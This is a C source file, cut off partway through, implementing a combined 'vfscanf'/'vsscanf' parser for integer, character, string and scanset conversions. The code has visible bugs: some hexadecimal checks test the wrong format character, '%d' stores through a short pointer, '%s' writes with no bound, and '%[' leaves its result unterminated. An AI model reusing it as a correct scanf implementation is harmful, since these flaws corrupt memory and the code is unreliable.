3210008 #include <errno.h>
3210009 #include <stddef.h>
3210010 //----------------------------------------------------------------------
3210011 //
3210012 // This function is not standard and is able to do the work of both
3210013 // 'vfscanf()' and 'vsscanf()'.
3210014 //
3210015 //----------------------------------------------------------------------
3210016 #define WIDTH_MAX       64
3210017 //----------------------------------------------------------------------
3210018 static intmax_t strtointmax (const char *restrict string,
3210019                              const char **restrict endptr, int base,
3210020                              size_t max_width);
3210021 static int      ass_or_eof  (int consumed, int assigned);
3210022 //----------------------------------------------------------------------
3210023 int
3210024 vfsscanf (FILE *restrict fp, const char *string,
3210025           const char *restrict format, va_list ap)
3210026 {
3210027     int                     f               = 0;           // Format index.
3210028     char                    buffer[BUFSIZ];
3210029     const char             *input           = string;      // Default.
3210030     const char             *start           = input;       // Default.
3210031     const char *restrict next               = NULL;
3210032     int                     scanned         = 0;
3210033     //
3210034     bool                    stream          = 0;
3210035     bool                    flag_star       = 0;
3210036     bool                    specifier       = 0;
3210037     bool                    specifier_flags = 0;
3210038     bool                    specifier_width = 0;
3210039     bool                    specifier_type  = 0;
3210040     bool                    inverted        = 0;
3210041     //
3210042     char                   *ptr_char;
3210043     signed char            *ptr_schar;
3210044     unsigned char          *ptr_uchar;
3210045     short int              *ptr_sshort;
3210046     unsigned short int     *ptr_ushort;
3210047     int                    *ptr_sint;
3210048     unsigned int           *ptr_uint;
3210049     long int               *ptr_slong;
3210050     unsigned long int      *ptr_ulong;
3210051     intmax_t               *ptr_simax;
3210052     uintmax_t              *ptr_uimax;
3210053     size_t                 *ptr_size;
3210054     ptrdiff_t              *ptr_ptrdiff;
3210055     void                  **ptr_void;
3210056     //
3210057     size_t                  width;
3210058     char                    width_string[WIDTH_MAX+1];
```

```
3210059     int                  w;              // Index inside width string.
3210060     int                  assigned        = 0;    // Assignment counter.
3210061     int                  consumed        = 0;    // Consumed counter.
3210062     //
3210063     intmax_t             value_i;
3210064     uintmax_t            value_u;
3210065     //
3210066     const char          *end_format;
3210067     const char          *end_input;
3210068     int                  count;          // Generic counter.
3210069     int                  index;          // Generic index.
3210070     bool                 ascii[128];
3210071     //
3210072     void                *pstatus;
3210073     //
3210074     // Initialize some data.
3210075     //
3210076     width_string[0] = '\0';
3210077     end_format      = format + (strlen (format));
3210078     //
3210079     // Check arguments and find where input comes.
3210080     //
3210081     if (fp == NULL && (string == NULL || string[0] == 0))
3210082       {
3210083         errset (EINVAL);                // Invalid argument.
3210084         return (EOF);
3210085       }
3210086     //
3210087     if (fp != NULL && string != NULL && string[0] != 0)
3210088       {
3210089         errset (EINVAL);                // Invalid argument.
3210090         return (EOF);
3210091       }
3210092     //
3210093     if (fp != NULL)
3210094       {
3210095         stream = 1;
3210096       }
3210097     //
3210098     //
3210099     //
3210100     for (;;)
3210101       {
3210102         if (stream)
3210103           {
3210104             pstatus = fgets (buffer, BUFSIZ, fp);
3210105             //
3210106             if (pstatus == NULL)
3210107               {
3210108                 return (ass_or_eof (consumed, assigned));
3210109               }
3210110             //
```

```
3210111                input = buffer;
3210112                start = input;
3210113                next  = NULL;
3210114              }
3210115            //
3210116            // Calculate end input.
3210117            //
3210118            end_input = input + (strlen (input));
3210119            //
3210120            // Scan format and input strings. Index 'f' is not reset.
3210121            //
3210122            while (&format[f] < end_format && input < end_input)
3210123              {
3210124                if (!specifier)
3210125                  {
3210126                    //--------------- The context is not inside a specifier.
3210127                    if (isspace (format[f]))
3210128                      {
3210129                        //------------------------------------------- Space.
3210130                        while (isspace (*input))
3210131                          {
3210132                            input++;
3210133                          }
3210134                        //
3210135                        // Verify that the input string is not finished.
3210136                        //
3210137                        if (input[0] == 0)
3210138                          {
3210139                            //
3210140                            // As the input string is finished, the format
3210141                            // string index is not advanced, because there
3210142                            // might be more spaces on the next line (if
3210143                            // there is a next line, of course).
3210144                            //
3210145                            continue;
3210146                          }
3210147                        else
3210148                          {
3210149                            f++;
3210150                            continue;
3210151                          }
3210152                      }
3210153                    if (format[f] != '%')
3210154                      {
3210155                        //------------------------------ Ordinary character.
3210156                        if (format[f] == *input)
3210157                          {
3210158                            input++;
3210159                            f++;
3210160                            continue;
3210161                          }
3210162                        else
```

```
3210163                  {
3210164                    return (ass_or_eof (consumed, assigned));
3210165                  }
3210166              }
3210167            if (format[f] == '%' && format[f+1] == '%')
3210168              {
3210169                //------------------------- Matching a literal '%'.
3210170                f++;
3210171                if (format[f] == *input)
3210172                  {
3210173                    input++;
3210174                    f++;
3210175                    continue;
3210176                  }
3210177                else
3210178                  {
3210179                    return (ass_or_eof (consumed, assigned));
3210180                  }
3210181              }
3210182            if (format[f] == '%')
3210183              {
3210184                //------------------------- Percent of a specifier.
3210185                f++;
3210186                specifier       = 1;
3210187                specifier_flags = 1;
3210188                continue;
3210189              }
3210190          }
3210191        //
3210192        if (specifier && specifier_flags)
3210193          {
3210194            //--------------- The context is inside specifier flags.
3210195            if (format[f] == '*')
3210196              {
3210197                //--------------------- Assignment suppression star.
3210198                flag_star = 1;
3210199                f++;
3210200              }
3210201            else
3210202              {
3210203                //----- End of flags and begin of specifier length.
3210204                specifier_flags = 0;
3210205                specifier_width = 1;
3210206              }
3210207          }
3210208        //
3210209        if (specifier && specifier_width)
3210210          {
3210211            //------------- The context is inside a specifier width.
3210212            for (w = 0;
3210213                     format[f] >= '0'
3210214                  && format[f] <= '9'
```

```
3210215                          && w < WIDTH_MAX;
3210216                         w++)
3210217                      {
3210218                        width_string[w] = format[f];
3210219                        f++;
3210220                      }
3210221                    width_string[w] = '\0';
3210222                    width = atoi (width_string);
3210223                    if (width > WIDTH_MAX)
3210224                      {
3210225                        width = WIDTH_MAX;
3210226                      }
3210227                    //
3210228                    // A zero width means an unspecified limit for the field
3210229                    // length.
3210230                    //
3210231                    //--------- End of spec. width and begin of spec. type.
3210232                    specifier_width = 0;
3210233                    specifier_type  = 1;
3210234                  }
3210235                //
3210236                if (specifier && specifier_type)
3210237                  {
3210238                    //
3210239                    // Specifiers with length modifier.
3210240                    //
3210241                    if (format[f] == 'h' && format[f+1] == 'h')
3210242                      {
3210243                        //------------------------------------------- char.
3210244                        if      (format[f+2] == 'd')
3210245                          {
3210246                            //----------------------- signed char, base 10.
3210247                            value_i = strtointmax (input, &next, 10, width);
3210248                            if (input == next)
3210249                              {
3210250                                return (ass_or_eof (consumed, assigned));
3210251                              }
3210252                            consumed++;
3210253                            if (!flag_star)
3210254                              {
3210255                                ptr_schar = va_arg (ap, signed char *);
3210256                               *ptr_schar = value_i;
3210257                                assigned++;
3210258                              }
3210259                            f += 3;
3210260                            input = next;
3210261                          }
3210262                        else if (format[f+2] == 'i')
3210263                          {
3210264                            //------------------- signed char, base unknown.
3210265                            value_i = strtointmax (input, &next, 0, width);
3210266                            if (input == next)
```

```
3210267                         {
3210268                           return (ass_or_eof (consumed, assigned));
3210269                         }
3210270                       consumed++;
3210271                       if (!flag_star)
3210272                         {
3210273                           ptr_schar = va_arg (ap, signed char *);
3210274                          *ptr_schar = value_i;
3210275                           assigned++;
3210276                         }
3210277                       f += 3;
3210278                       input = next;
3210279                     }
3210280                   else if (format[f+2] == 'o')
3210281                     {
3210282                       //------------------------ signed char, base 8.
3210283                       value_i = strtointmax (input, &next, 8, width);
3210284                       if (input == next)
3210285                         {
3210286                           return (ass_or_eof (consumed, assigned));
3210287                         }
3210288                       consumed++;
3210289                       if (!flag_star)
3210290                         {
3210291                           ptr_schar = va_arg (ap, signed char *);
3210292                          *ptr_schar = value_i;
3210293                           assigned++;
3210294                         }
3210295                       f += 3;
3210296                       input = next;
3210297                     }
3210298                   else if (format[f+2] == 'u')
3210299                     {
3210300                       //--------------------- unsigned char, base 10.
3210301                       value_u = strtointmax (input, &next, 10, width);
3210302                       if (input == next)
3210303                         {
3210304                           return (ass_or_eof (consumed, assigned));
3210305                         }
3210306                       consumed++;
3210307                       if (!flag_star)
3210308                         {
3210309                           ptr_uchar = va_arg (ap, unsigned char *);
3210310                          *ptr_uchar = value_u;
3210311                           assigned++;
3210312                         }
3210313                       f += 3;
3210314                       input = next;
3210315                     }
3210316                   else if (format[f+2] == 'x' || format[f+2] == 'X')
3210317                     {
3210318                       //----------------------- signed char, base 16.
```

```
3210319                             value_i = strtointmax (input, &next, 16, width);
3210320                             if (input == next)
3210321                               {
3210322                                 return (ass_or_eof (consumed, assigned));
3210323                               }
3210324                             consumed++;
3210325                             if (!flag_star)
3210326                               {
3210327                                 ptr_schar = va_arg (ap, signed char *);
3210328                                *ptr_schar = value_i;
3210329                                 assigned++;
3210330                               }
3210331                             f += 3;
3210332                             input = next;
3210333                           }
3210334                         else if (format[f+2] == 'n')
3210335                           {
3210336                             //----------- signed char, string index counter.
3210337                             ptr_schar = va_arg (ap, signed char *);
3210338                            *ptr_schar = (signed char)
3210339                                             (input - start + scanned);
3210340                             f += 3;
3210341                           }
3210342                         else
3210343                           {
3210344                             //------------ unsupported or unknown specifier.
3210345                             f += 2;
3210346                           }
3210347                       }
3210348                     else if (format[f] == 'h')
3210349                       {
3210350                         //------------------------------------------ short.
3210351                         if      (format[f+1] == 'd')
3210352                           {
3210353                             //----------------------- signed short, base 10.
3210354                             value_i = strtointmax (input, &next, 10, width);
3210355                             if (input == next)
3210356                               {
3210357                                 return (ass_or_eof (consumed, assigned));
3210358                               }
3210359                             consumed++;
3210360                             if (!flag_star)
3210361                               {
3210362                                 ptr_sshort = va_arg (ap, signed short *);
3210363                                *ptr_sshort = value_i;
3210364                                 assigned++;
3210365                               }
3210366                             f += 2;
3210367                             input = next;
3210368                           }
3210369                         else if (format[f+1] == 'i')
3210370                           {
```

```
3210371             //------------------ signed short, base unknown.
3210372             value_i = strtointmax (input, &next, 0, width);
3210373             if (input == next)
3210374               {
3210375                 return (ass_or_eof (consumed, assigned));
3210376               }
3210377             consumed++;
3210378             if (!flag_star)
3210379               {
3210380                 ptr_sshort = va_arg (ap, signed short *);
3210381                *ptr_sshort = value_i;
3210382                 assigned++;
3210383               }
3210384             f += 2;
3210385             input = next;
3210386           }
3210387         else if (format[f+1] == 'o')
3210388           {
3210389             //------------------------ signed short, base 8.
3210390             value_i = strtointmax (input, &next, 8, width);
3210391             if (input == next)
3210392               {
3210393                 return (ass_or_eof (consumed, assigned));
3210394               }
3210395             consumed++;
3210396             if (!flag_star)
3210397               {
3210398                 ptr_sshort = va_arg (ap, signed short *);
3210399                *ptr_sshort = value_i;
3210400                 assigned++;
3210401               }
3210402             f += 2;
3210403             input = next;
3210404           }
3210405         else if (format[f+1] == 'u')
3210406           {
3210407             //--------------------- unsigned short, base 10.
3210408             value_u = strtointmax (input, &next, 10, width);
3210409             if (input == next)
3210410               {
3210411                 return (ass_or_eof (consumed, assigned));
3210412               }
3210413             consumed++;
3210414             if (!flag_star)
3210415               {
3210416                 ptr_ushort = va_arg (ap, unsigned short *);
3210417                *ptr_ushort = value_u;
3210418                 assigned++;
3210419               }
3210420             f += 2;
3210421             input = next;
3210422           }
```

```
3210423                     else if (format[f+1] == 'x' || format[f+2] == 'X')
3210424                       {
3210425                         //---------------------- signed short, base 16.
3210426                         value_i = strtointmax (input, &next, 16, width);
3210427                         if (input == next)
3210428                           {
3210429                             return (ass_or_eof (consumed, assigned));
3210430                           }
3210431                         consumed++;
3210432                         if (!flag_star)
3210433                           {
3210434                             ptr_sshort = va_arg (ap, signed short *);
3210435                            *ptr_sshort = value_i;
3210436                             assigned++;
3210437                           }
3210438                         f += 2;
3210439                         input = next;
3210440                       }
3210441                     else if (format[f+1] == 'n')
3210442                       {
3210443                         //----------- signed char, string index counter.
3210444                         ptr_sshort = va_arg (ap, signed short *);
3210445                        *ptr_sshort = (signed short)
3210446                                      (input - start + scanned);
3210447                         f += 2;
3210448                       }
3210449                     else
3210450                       {
3210451                         //------------ unsupported or unknown specifier.
3210452                         f += 1;
3210453                       }
3210454                   }
3210455                 //------------------------ There is no 'long long int'.
3210456                 else if (format[f] == 'l')
3210457                   {
3210458                     //--------------------------------------- long int.
3210459                     if      (format[f+1] == 'd')
3210460                       {
3210461                         //---------------------- signed long, base 10.
3210462                         value_i = strtointmax (input, &next, 10, width);
3210463                         if (input == next)
3210464                           {
3210465                             return (ass_or_eof (consumed, assigned));
3210466                           }
3210467                         consumed++;
3210468                         if (!flag_star)
3210469                           {
3210470                             ptr_slong = va_arg (ap, signed long *);
3210471                            *ptr_slong = value_i;
3210472                             assigned++;
3210473                           }
3210474                         f += 2;
```

```
3210475                                 input = next;
3210476                               }
3210477                             else if (format[f+1] == 'i')
3210478                               {
3210479                                 //------------------ signed long, base unknown.
3210480                                 value_i = strtointmax (input, &next, 0, width);
3210481                                 if (input == next)
3210482                                   {
3210483                                     return (ass_or_eof (consumed, assigned));
3210484                                   }
3210485                                 consumed++;
3210486                                 if (!flag_star)
3210487                                   {
3210488                                     ptr_slong = va_arg (ap, signed long *);
3210489                                    *ptr_slong = value_i;
3210490                                     assigned++;
3210491                                   }
3210492                                 f += 2;
3210493                                 input = next;
3210494                               }
3210495                             else if (format[f+1] == 'o')
3210496                               {
3210497                                 //------------------------ signed long, base 8.
3210498                                 value_i = strtointmax (input, &next, 8, width);
3210499                                 if (input == next)
3210500                                   {
3210501                                     return (ass_or_eof (consumed, assigned));
3210502                                   }
3210503                                 consumed++;
3210504                                 if (!flag_star)
3210505                                   {
3210506                                     ptr_slong = va_arg (ap, signed long *);
3210507                                    *ptr_slong = value_i;
3210508                                     assigned++;
3210509                                   }
3210510                                 f += 2;
3210511                                 input = next;
3210512                               }
3210513                             else if (format[f+1] == 'u')
3210514                               {
3210515                                 //--------------------- unsigned long, base 10.
3210516                                 value_u = strtointmax (input, &next, 10, width);
3210517                                 if (input == next)
3210518                                   {
3210519                                     return (ass_or_eof (consumed, assigned));
3210520                                   }
3210521                                 consumed++;
3210522                                 if (!flag_star)
3210523                                   {
3210524                                     ptr_ulong = va_arg (ap, unsigned long *);
3210525                                    *ptr_ulong = value_u;
3210526                                     assigned++;
```

```
3210527                          }
3210528                        f += 2;
3210529                        input = next;
3210530                      }
3210531                    else if (format[f+1] == 'x' || format[f+2] == 'X')
3210532                      {
3210533                        //------------------------ signed long, base 16.
3210534                        value_i = strtointmax (input, &next, 16, width);
3210535                        if (input == next)
3210536                          {
3210537                            return (ass_or_eof (consumed, assigned));
3210538                          }
3210539                        consumed++;
3210540                        if (!flag_star)
3210541                          {
3210542                            ptr_slong = va_arg (ap, signed long *);
3210543                           *ptr_slong = value_i;
3210544                            assigned++;
3210545                          }
3210546                        f += 2;
3210547                        input = next;
3210548                      }
3210549                    else if (format[f+1] == 'n')
3210550                      {
3210551                        //----------- signed char, string index counter.
3210552                        ptr_slong = va_arg (ap, signed long *);
3210553                       *ptr_slong = (signed long)
3210554                                    (input - start + scanned);
3210555                        f += 2;
3210556                      }
3210557                    else
3210558                      {
3210559                        //------------ unsupported or unknown specifier.
3210560                        f += 1;
3210561                      }
3210562                  }
3210563                else if (format[f] == 'j')
3210564                  {
3210565                    //---------------------------------------- intmax_t.
3210566                    if      (format[f+1] == 'd')
3210567                      {
3210568                        //-------------------------- intmax_t, base 10.
3210569                        value_i = strtointmax (input, &next, 10, width);
3210570                        if (input == next)
3210571                          {
3210572                            return (ass_or_eof (consumed, assigned));
3210573                          }
3210574                        consumed++;
3210575                        if (!flag_star)
3210576                          {
3210577                            ptr_simax = va_arg (ap, intmax_t *);
3210578                           *ptr_simax = value_i;
```

```
3210579                         assigned++;
3210580                       }
3210581                     f += 2;
3210582                     input = next;
3210583                   }
3210584                 else if (format[f+1] == 'i')
3210585                   {
3210586                     //---------------------- intmax_t, base unknown.
3210587                     value_i = strtointmax (input, &next, 0, width);
3210588                     if (input == next)
3210589                       {
3210590                         return (ass_or_eof (consumed, assigned));
3210591                       }
3210592                     consumed++;
3210593                     if (!flag_star)
3210594                       {
3210595                         ptr_simax = va_arg (ap, intmax_t *);
3210596                        *ptr_simax = value_i;
3210597                         assigned++;
3210598                       }
3210599                     f += 2;
3210600                     input = next;
3210601                   }
3210602                 else if (format[f+1] == 'o')
3210603                   {
3210604                     //--------------------------- intmax_t, base 8.
3210605                     value_i = strtointmax (input, &next, 8, width);
3210606                     if (input == next)
3210607                       {
3210608                         return (ass_or_eof (consumed, assigned));
3210609                       }
3210610                     consumed++;
3210611                     if (!flag_star)
3210612                       {
3210613                         ptr_simax = va_arg (ap, intmax_t *);
3210614                        *ptr_simax = value_i;
3210615                         assigned++;
3210616                       }
3210617                     f += 2;
3210618                     input = next;
3210619                   }
3210620                 else if (format[f+1] == 'u')
3210621                   {
3210622                     //------------------------- uintmax_t, base 10.
3210623                     value_u = strtointmax (input, &next, 10, width);
3210624                     if (input == next)
3210625                       {
3210626                         return (ass_or_eof (consumed, assigned));
3210627                       }
3210628                     consumed++;
3210629                     if (!flag_star)
3210630                       {
```

```
3210631                                 ptr_uimax = va_arg (ap, uintmax_t *);
3210632                                *ptr_uimax = value_u;
3210633                                 assigned++;
3210634                               }
3210635                             f += 2;
3210636                             input = next;
3210637                           }
3210638                         else if (format[f+1] == 'x' || format[f+2] == 'X')
3210639                           {
3210640                             //-------------------------- intmax_t, base 16.
3210641                             value_i = strtointmax (input, &next, 16, width);
3210642                             if (input == next)
3210643                               {
3210644                                 return (ass_or_eof (consumed, assigned));
3210645                               }
3210646                             consumed++;
3210647                             if (!flag_star)
3210648                               {
3210649                                 ptr_simax = va_arg (ap, intmax_t *);
3210650                                *ptr_simax = value_i;
3210651                                 assigned++;
3210652                               }
3210653                             f += 2;
3210654                             input = next;
3210655                           }
3210656                         else if (format[f+1] == 'n')
3210657                           {
3210658                             //----------- signed char, string index counter.
3210659                             ptr_simax = va_arg (ap, intmax_t *);
3210660                            *ptr_simax = (intmax_t)
3210661                                          (input - start + scanned);
3210662                             f += 2;
3210663                           }
3210664                         else
3210665                           {
3210666                             //------------ unsupported or unknown specifier.
3210667                             f += 1;
3210668                           }
3210669                       }
3210670                     else if (format[f] == 'z')
3210671                       {
3210672                         //------------------------------------------ size_t.
3210673                         if      (format[f+1] == 'd')
3210674                           {
3210675                             //---------------------------- size_t, base 10.
3210676                             value_i = strtointmax (input, &next, 10, width);
3210677                             if (input == next)
3210678                               {
3210679                                 return (ass_or_eof (consumed, assigned));
3210680                               }
3210681                             consumed++;
3210682                             if (!flag_star)
```

```
3210683                     {
3210684                       ptr_size = va_arg (ap, size_t *);
3210685                      *ptr_size = value_i;
3210686                       assigned++;
3210687                     }
3210688                   f += 2;
3210689                   input = next;
3210690                 }
3210691               else if (format[f+1] == 'i')
3210692                 {
3210693                   //----------------------- size_t, base unknown.
3210694                   value_i = strtointmax (input, &next, 0, width);
3210695                   if (input == next)
3210696                     {
3210697                       return (ass_or_eof (consumed, assigned));
3210698                     }
3210699                   consumed++;
3210700                   if (!flag_star)
3210701                     {
3210702                       ptr_size = va_arg (ap, size_t *);
3210703                      *ptr_size = value_i;
3210704                       assigned++;
3210705                     }
3210706                   f += 2;
3210707                   input = next;
3210708                 }
3210709               else if (format[f+1] == 'o')
3210710                 {
3210711                   //----------------------------- size_t, base 8.
3210712                   value_i = strtointmax (input, &next, 8, width);
3210713                   if (input == next)
3210714                     {
3210715                       return (ass_or_eof (consumed, assigned));
3210716                     }
3210717                   consumed++;
3210718                   if (!flag_star)
3210719                     {
3210720                       ptr_size = va_arg (ap, size_t *);
3210721                      *ptr_size = value_i;
3210722                       assigned++;
3210723                     }
3210724                   f += 2;
3210725                   input = next;
3210726                 }
3210727               else if (format[f+1] == 'u')
3210728                 {
3210729                   //---------------------------- size_t, base 10.
3210730                   value_u = strtointmax (input, &next, 10, width);
3210731                   if (input == next)
3210732                     {
3210733                       return (ass_or_eof (consumed, assigned));
3210734                     }
```

```
3210735                     consumed++;
3210736                     if (!flag_star)
3210737                       {
3210738                         ptr_size = va_arg (ap, size_t *);
3210739                        *ptr_size = value_u;
3210740                         assigned++;
3210741                       }
3210742                     f += 2;
3210743                     input = next;
3210744                   }
3210745                 else if (format[f+1] == 'x' || format[f+2] == 'X')
3210746                   {
3210747                     //---------------------------- size_t, base 16.
3210748                     value_i = strtointmax (input, &next, 16, width);
3210749                     if (input == next)
3210750                       {
3210751                         return (ass_or_eof (consumed, assigned));
3210752                       }
3210753                     consumed++;
3210754                     if (!flag_star)
3210755                       {
3210756                         ptr_size = va_arg (ap, size_t *);
3210757                        *ptr_size = value_i;
3210758                         assigned++;
3210759                       }
3210760                     f += 2;
3210761                     input = next;
3210762                   }
3210763                 else if (format[f+1] == 'n')
3210764                   {
3210765                     //----------- signed char, string index counter.
3210766                     ptr_size = va_arg (ap, size_t *);
3210767                    *ptr_size = (size_t) (input - start + scanned);
3210768                     f += 2;
3210769                   }
3210770                 else
3210771                   {
3210772                     //------------ unsupported or unknown specifier.
3210773                     f += 1;
3210774                   }
3210775               }
3210776             else if (format[f] == 't')
3210777               {
3210778                 //--------------------------------------- ptrdiff_t.
3210779                 if      (format[f+1] == 'd')
3210780                   {
3210781                     //------------------------- ptrdiff_t, base 10.
3210782                     value_i = strtointmax (input, &next, 10, width);
3210783                     if (input == next)
3210784                       {
3210785                         return (ass_or_eof (consumed, assigned));
3210786                       }
```

```
3210787                         consumed++;
3210788                         if (!flag_star)
3210789                           {
3210790                             ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
3210791                            *ptr_ptrdiff = value_i;
3210792                             assigned++;
3210793                           }
3210794                         f += 2;
3210795                         input = next;
3210796                       }
3210797                     else if (format[f+1] == 'i')
3210798                       {
3210799                         //-------------------- ptrdiff_t, base unknown.
3210800                         value_i = strtointmax (input, &next, 0, width);
3210801                         if (input == next)
3210802                           {
3210803                             return (ass_or_eof (consumed, assigned));
3210804                           }
3210805                         consumed++;
3210806                         if (!flag_star)
3210807                           {
3210808                             ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
3210809                            *ptr_ptrdiff = value_i;
3210810                             assigned++;
3210811                           }
3210812                         f += 2;
3210813                         input = next;
3210814                       }
3210815                     else if (format[f+1] == 'o')
3210816                       {
3210817                         //-------------------------- ptrdiff_t, base 8.
3210818                         value_i = strtointmax (input, &next, 8, width);
3210819                         if (input == next)
3210820                           {
3210821                             return (ass_or_eof (consumed, assigned));
3210822                           }
3210823                         consumed++;
3210824                         if (!flag_star)
3210825                           {
3210826                             ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
3210827                            *ptr_ptrdiff = value_i;
3210828                             assigned++;
3210829                           }
3210830                         f += 2;
3210831                         input = next;
3210832                       }
3210833                     else if (format[f+1] == 'u')
3210834                       {
3210835                         //------------------------- ptrdiff_t, base 10.
3210836                         value_u = strtointmax (input, &next, 10, width);
3210837                         if (input == next)
3210838                           {
```

```
3210839                             return (ass_or_eof (consumed, assigned));
3210840                           }
3210841                         consumed++;
3210842                         if (!flag_star)
3210843                           {
3210844                             ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
3210845                            *ptr_ptrdiff = value_u;
3210846                             assigned++;
3210847                           }
3210848                         f += 2;
3210849                         input = next;
3210850                       }
3210851                     else if (format[f+1] == 'x' || format[f+2] == 'X')
3210852                       {
3210853                         //------------------------- ptrdiff_t, base 16.
3210854                         value_i = strtointmax (input, &next, 16, width);
3210855                         if (input == next)
3210856                           {
3210857                             return (ass_or_eof (consumed, assigned));
3210858                           }
3210859                         consumed++;
3210860                         if (!flag_star)
3210861                           {
3210862                             ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
3210863                            *ptr_ptrdiff = value_i;
3210864                             assigned++;
3210865                           }
3210866                         f += 2;
3210867                         input = next;
3210868                       }
3210869                     else if (format[f+1] == 'n')
3210870                       {
3210871                         //----------- signed char, string index counter.
3210872                         ptr_ptrdiff = va_arg (ap, ptrdiff_t *);
3210873                        *ptr_ptrdiff = (ptrdiff_t)
3210874                                       (input - start + scanned);
3210875                         f += 2;
3210876                       }
3210877                     else
3210878                       {
3210879                         //------------ unsupported or unknown specifier.
3210880                         f += 1;
3210881                       }
3210882                   }
3210883                 //
3210884                 // Specifiers with no length modifier.
3210885                 //
3210886                 if      (format[f] == 'd')
3210887                   {
3210888                     //----------------------- signed short, base 10.
3210889                     value_i = strtointmax (input, &next, 10, width);
3210890                     if (input == next)
```

```
3210891                       {
3210892                         return (ass_or_eof (consumed, assigned));
3210893                       }
3210894                     consumed++;
3210895                     if (!flag_star)
3210896                       {
3210897                         ptr_sshort = va_arg (ap, signed short *);
3210898                        *ptr_sshort = value_i;
3210899                         assigned++;
3210900                       }
3210901                     f += 1;
3210902                     input = next;
3210903                   }
3210904                 else if (format[f] == 'i')
3210905                   {
3210906                     //----------------------- signed int, base unknown.
3210907                     value_i = strtointmax (input, &next, 0, width);
3210908                     if (input == next)
3210909                       {
3210910                         return (ass_or_eof (consumed, assigned));
3210911                       }
3210912                     consumed++;
3210913                     if (!flag_star)
3210914                       {
3210915                         ptr_sint = va_arg (ap, signed int *);
3210916                        *ptr_sint = value_i;
3210917                         assigned++;
3210918                       }
3210919                     f += 1;
3210920                     input = next;
3210921                   }
3210922                 else if (format[f] == 'o')
3210923                   {
3210924                     //----------------------------- signed int, base 8.
3210925                     value_i = strtointmax (input, &next, 8, width);
3210926                     if (input == next)
3210927                       {
3210928                         return (ass_or_eof (consumed, assigned));
3210929                       }
3210930                     consumed++;
3210931                     if (!flag_star)
3210932                       {
3210933                         ptr_sint = va_arg (ap, signed int *);
3210934                        *ptr_sint = value_i;
3210935                         assigned++;
3210936                       }
3210937                     f += 1;
3210938                     input = next;
3210939                   }
3210940                 else if (format[f] == 'u')
3210941                   {
3210942                     //------------------------ unsigned short, base 10.
```

```
3210943                         value_u = strtointmax (input, &next, 10, width);
3210944                         if (input == next)
3210945                           {
3210946                             return (ass_or_eof (consumed, assigned));
3210947                           }
3210948                         consumed++;
3210949                         if (!flag_star)
3210950                           {
3210951                             ptr_uint = va_arg (ap, unsigned int *);
3210952                            *ptr_uint = value_u;
3210953                             assigned++;
3210954                           }
3210955                         f += 1;
3210956                         input = next;
3210957                       }
3210958                     else if (format[f] == 'x' || format[f] == 'X')
3210959                       {
3210960                         //-------------------------- signed short, base 16.
3210961                         value_i = strtointmax (input, &next, 16, width);
3210962                         if (input == next)
3210963                           {
3210964                             return (ass_or_eof (consumed, assigned));
3210965                           }
3210966                         consumed++;
3210967                         if (!flag_star)
3210968                           {
3210969                             ptr_sint = va_arg (ap, signed int *);
3210970                            *ptr_sint = value_i;
3210971                             assigned++;
3210972                           }
3210973                         f += 1;
3210974                         input = next;
3210975                       }
3210976                     else if (format[f] == 'c')
3210977                       {
3210978                         //---------------------------------------- char[].
3210979                         if (width == 0) width = 1;
3210980                         //
3210981                         if (!flag_star) ptr_char = va_arg (ap, char *);
3210982                         //
3210983                         for (count = 0;
3210984                              width > 0 && *input != 0;
3210985                              width--, ptr_char++, input++)
3210986                           {
3210987                             if (!flag_star) *ptr_char = *input;
3210988                             //
3210989                             count++;
3210990                           }
3210991                         //
3210992                         if (count)                consumed++;
3210993                         if (count && !flag_star) assigned++;
3210994                         //
```

```
3210995                     f += 1;
3210996                   }
3210997                 else if (format[f] == 's')
3210998                   {
3210999                     //---------------------------------------- string.
3211000                     if (!flag_star) ptr_char = va_arg (ap, char *);
3211001                     //
3211002                     for (count = 0;
3211003                          !isspace (*input) && *input != 0;
3211004                          ptr_char++, input++)
3211005                       {
3211006                         if (!flag_star) *ptr_char = *input;
3211007                         //
3211008                         count++;
3211009                       }
3211010                     if (!flag_star) *ptr_char = 0;
3211011                     //
3211012                     if (count)               consumed++;
3211013                     if (count && !flag_star) assigned++;
3211014                     //
3211015                     f += 1;
3211016                   }
3211017                 else if (format[f] == '[')
3211018                   {
3211019                     //
3211020                     f++;
3211021                     //
3211022                     if (format[f] == '^')
3211023                       {
3211024                         inverted = 1;
3211025                         f++;
3211026                       }
3211027                     else
3211028                       {
3211029                         inverted = 0;
3211030                       }
3211031                     //
3211032                     // Reset ascii array.
3211033                     //
3211034                     for (index = 0; index < 128; index++)
3211035                       {
3211036                         ascii[index] = inverted;
3211037                       }
3211038                     //
3211039                     //
3211040                     //
3211041                     for (count = 0;&format[f] < end_format; count++)
3211042                       {
3211043                         if (format[f] == ']' && count > 0)
3211044                           {
3211045                             break;
3211046                           }
```

```
3211047                     //
3211048                     // Check for an interval.
3211049                     //
3211050                     if (format[f+1] == '-'
3211051                      && format[f+2] != ']'
3211052                      && format[f+2] != 0)
3211053                       {
3211054                         //
3211055                         // Interval.
3211056                         //
3211057                         for (index = format[f];
3211058                              index <= format[f+2];
3211059                              index++)
3211060                           {
3211061                             ascii[index] = !inverted;
3211062                           }
3211063                         f += 3;
3211064                         continue;
3211065                       }
3211066                     //
3211067                     // Single character.
3211068                     //
3211069                     index = format[f];
3211070                     ascii[index] = !inverted;
3211071                     f++;
3211072                   }
3211073                 //
3211074                 // Is the scan correctly finished?.
3211075                 //
3211076                 if (format[f] != ']')
3211077                   {
3211078                     return (ass_or_eof (consumed, assigned));
3211079                   }
3211080                 //
3211081                 // The ascii table is populated.
3211082                 //
3211083                 if (width == 0) width = SIZE_MAX;
3211084                 //
3211085                 // Scan the input string.
3211086                 //
3211087                 if (!flag_star) ptr_char = va_arg (ap, char *);
3211088                 //
3211089                 for (count = 0;
3211090                      width > 0 && *input != 0;
3211091                      width--, ptr_char++, input++)
3211092                   {
3211093                     index = *input;
3211094                     if (ascii[index])
3211095                       {
3211096                         if (!flag_star) *ptr_char = *input;
3211097                         count++;
3211098                       }
```

```
3211099                     else
3211100                       {
3211101                         break;
3211102                       }
3211103                   }
3211104                 //
3211105                 if (count)                consumed++;
3211106                 if (count && !flag_star) assigned++;
3211107                 //
3211108                 f += 1;
3211109               }
3211110             else if (format[f] == 'p')
3211111               {
3211112                 //---------------------------------------- void *.
